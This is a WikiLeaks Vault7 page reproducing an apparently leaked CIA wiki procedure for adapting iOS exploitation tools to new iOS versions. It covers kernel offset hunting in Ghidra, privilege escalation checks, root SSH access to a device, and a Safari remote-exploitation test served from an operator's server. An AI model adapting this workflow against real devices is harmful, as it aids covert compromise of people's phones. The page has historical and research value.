Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version

iOS Triage Process

_This describes the process need to been done when a new iOS version is updated.

List of tools new needed

Xcode Developer Disk Image (DMG)
1. Install Xcode (get the lastest released)
2. find DMG in xcode directory
3. put with other DMG ( redux/res/dmg )

Pre Setup

Make a directory store output folders
1. mkdir $OUT
Grab a testdylib for testing
1. get testdylib_manifest
2. cd into testdylib_repo/testdylib
3. make
4. "<PATH>/testdylib_repo/Build/Release-iPhoneOS/testdylib/testmain" will now be referred to as $TEST_DYLIB
  1. export "<PATH>/testdylib_repo/Build/Release-iPhoneOS/testdylib/testmain"
Grab the entire ios_manifest
1. path to your ios_repo dir will now be $IOS_REPO
  1. export IOS_REPO="<PATH>/ios_repo"
Make sure ghidra_dir installed
1. must be at least version 6
2. in your ghidra install look for a folder that contains "ghidraRun"
3. path leading up to this file is now your $GH_PATH
4. export GH_PATH=<path>
  1. use full not relative path

Saline

cd $IOS_REPO/saline
make clean
make
run saline
1. $IOS_REPO//Dist/Release-MacOSX/saline $TEST_DYLIB

Adderall

cd into $IOS_REPO/nightversion/python/nv_kern_read_command.py
1. update kern start
2. in get_ios_type, verify correct version number is in there
update make files in $IOS_REPO/early-make by adding new prefix to new to the lists
1. early-bokken
2. early-close
3. early-persist
4. early-remote
update rana
1. update match function in $IOS_REPO/rana/ranas/<proper>_rana.py
2. <proper> is most likely saline
cd $IOS_REPO/adderall
make clean
make
under $OUT make a folder for adderall files
1. mkdir $OUT/adder_files
2. we will call it $AD_OUT
3. export AD_OUT="$OUT/adder_files"
cd $IOS_REPO/Dist/Release-MacOSX/adderall-dist
./adderall-dist $AD_OUT
Hopefully have execution
If theses are beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles-Beta/
If theses are beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles/

Symdra / Elsym

under $OUT make a folder for adderall files
1. mkdir $OUT/sym_files
2. we will call it $SYM_OUT
3. export SYM_OUT="$OUT/sym_files"
create branch for elsym-dist
1. cd $IOS_REPO/elsym-dist/
2. git checkout -b <descriptive_name>
cd back to $IOS_REPO
1. cd $IOS_REPO
run symdra from the $IOS_REPO directory
1. python symdra/ full -k $AD_OUT -a $SYM_OUT -g $GH_PATH -b <build_number_for_device>
  1. ex. "-b 13A4325c"
2. (YES you are running python on a folder)
When done symbol.db in $SYM_OUT
This will be feed into Elsym
...TO BE CONTINUED...

python symdra/ -h
python symdra/ full -k </tmp> -a <results folder> -g <ghidra_dir> -b <min_build_version>
1. /tmp should have IPSW from adderall (ios files from before)
  1. a copy should be up on the share
2. create a temp file for your results
3. ghidra must be at least 6
4. build version is your target (also from ios files)
When done symbol.db in the analysis directory
This will be feed into Elsym
sqlite3 <output folder>/<IPSW>/symbol.db
1. select * from [ Master_Symbols ];
2. .exit
cd ../elsym
1. git status
2. git branch feature/ios-<version>
3. git checkout feature/ios-<version>
4. el.py
  1. make sure build number is in the list
  2. might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
    1. For iOS 8.4 we had to change it to 0x28. To determine:
      1. Open ghidra
      2. File -> Open Project
      3. goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
      4. Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
      5. This function is bsd_init (note this is heavily inlined and may not fully decompile)
      6. Find the call to _VNOP_IOCTL
      7. The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
      8. Note the ioctl number
      9. Open com.apple.driver.LightweightVolumeManager.kext
      10. Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
      11. This function is the ioctl handler
      12. Inside the true block of the conditional, look for the constants on the ioctl
      13. One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
5. run and see what happens
6. ZOO_IPSW_PATH=<results folder> make copyonedist ZOO_TARGET=<target>
  1. _kernel_memory_allocate is only used for the development
7. ls ../elsym-dist/<IPSW>.plist
8. python verify ../elsym-dist/
  1. no back files found ( doesn't mean that all files are good, just didn't find it)
9. print_config.py ../elsym-dist/<IPSW>.plist

Nightvision

can be done under the adderral or the ios manifest
cd adderral
cd nightvision
make dist
../Dist/Release-iPhoneOs/nv -c ../early/elsym-dist/ get -o <outdir>/
find /private/var/root in file list to verify privilege escalation worked

El_util

cd early_manifest
make ZOO_IPSW="<target>"
el_runo.sh don't use even if it is in the directory
cd ../rana
make
python ../Build/Release-MacOS/rana.pyz -a execute Build/Relase-iPhoneOS/elutil/<IPSW>/el_priv
1. should be "uid = 0, euid = 0"

El_unit

cd elunit
ZOO_ISPW_PATH=~/tmp/ make
1. need a device on the developer profile
should only have 1 failed test

El_ssh

go into el_ssh
ZOO_IPSWS="<target>" EL_SSH_ACCESS="close" ZOO_ISPW_PATH=<outdir> make
1. If you get the following error
2. el_ssh/Makefile:46: *** No ipsw resources for <target> . Stop.
3. copy the plist from your elsym-dist from the symdra test into the elsym-dist in your manifest
../Dist/Release-iPhoneOS/el_ssh install
../Dist/Release-iPhoneOS/el_ssh run
../Dist/Release-iPhoneOS/el_ssh dumpkey ssh.key
../Dist/Release-iPhoneOS/el_ssh relay -p 2222
ssh -i ssh.key -p 2222 root@localhost
ls bin_nohash

Remote

under testdylib manifest
in testdylib make dist
under mcnugget manifest
cd mcnugget
make
cd mcp_archon
archon.py
1. variable = iOS
earth.py
1. variable = iOS
soul.py
1. (doesn't actually check version) we are good
safari
1. settings advance Web Inspector on
  1. Settings -> Advanced -> Web Inspector
2. settings developer enable UIUser Interface automation
ZOO_IPSW_PATH=~/temp/ ZOO_CONFIG=Release make delivery
cd ../Build/Release-MacOSX/mcnugget/
./mc_creator plist --url http://<ip>:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""
1. <ip> is the ip of your Mac ( not your iDevice)
2. OR if your feel like cheating ./mc_creator plist --url http://`ifconfig | grep "inet 10" | cut -d " " -f 2`:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""
./solcreate mc.plist /<path>/testdylib.zip -t myid -o myid.sol --nonpersist
./mc_creator server mctest mc.plist mcplugins/mcp_* myid.sol
./mctest
1. press enter when prompted for passphrase
2. wait for ENGINE Bus STARTED
Make sure device is on wifi
Connect device via usb
1. then run python mdf syslog
verify safari is not loaded in memory on target
On device open safari
1. then browse to http://<ip>:8080/?id=myid
On mctest log you should see
1. "exploitation succeeded, deleting from target dictionary"
In the syslog you should see the
1. "iPhone locationd[57] <Emergency>: ==== Testdylib Started at:"

Persistence

Test of vulnerability

install el_ssh
git the grist_manifest
init repo
goto into the dyld-js folder in the repo
make dylinker_test ZOO_CONFIG=Debug
~/git2/el_ssh_manifest/Dist/Release-iPhoneOS/scp -i <key file> ../Build/Debug-iPhoneOS/dyld-js/dylinker_test_<arch>.js root@<device ip>:
ssh -i <key file> root@<device ip>
/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc dylinker_test_64.js
You should see [dylinker] 5 of 5 passed.

iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices

('contentbylabel' missing)

('details' missing)

Contact

Tor

Tails

Tips

1. Contact us if you have specific problems

2. What computer to use

3. Do not talk about your submission to others

After

1. Do not talk about your submission to others

2. Act normal

3. Remove traces of your submission

4. If you face legal action

Submit documents to WikiLeaks

Vault7: CIA Hacking Tools Revealed

iOS Triage Process

List of tools new needed

Pre Setup

Saline

Adderall

Symdra / Elsym

Nightvision

El_util

El_unit

El_ssh

Remote

Persistence

Related articles

e-Highlighter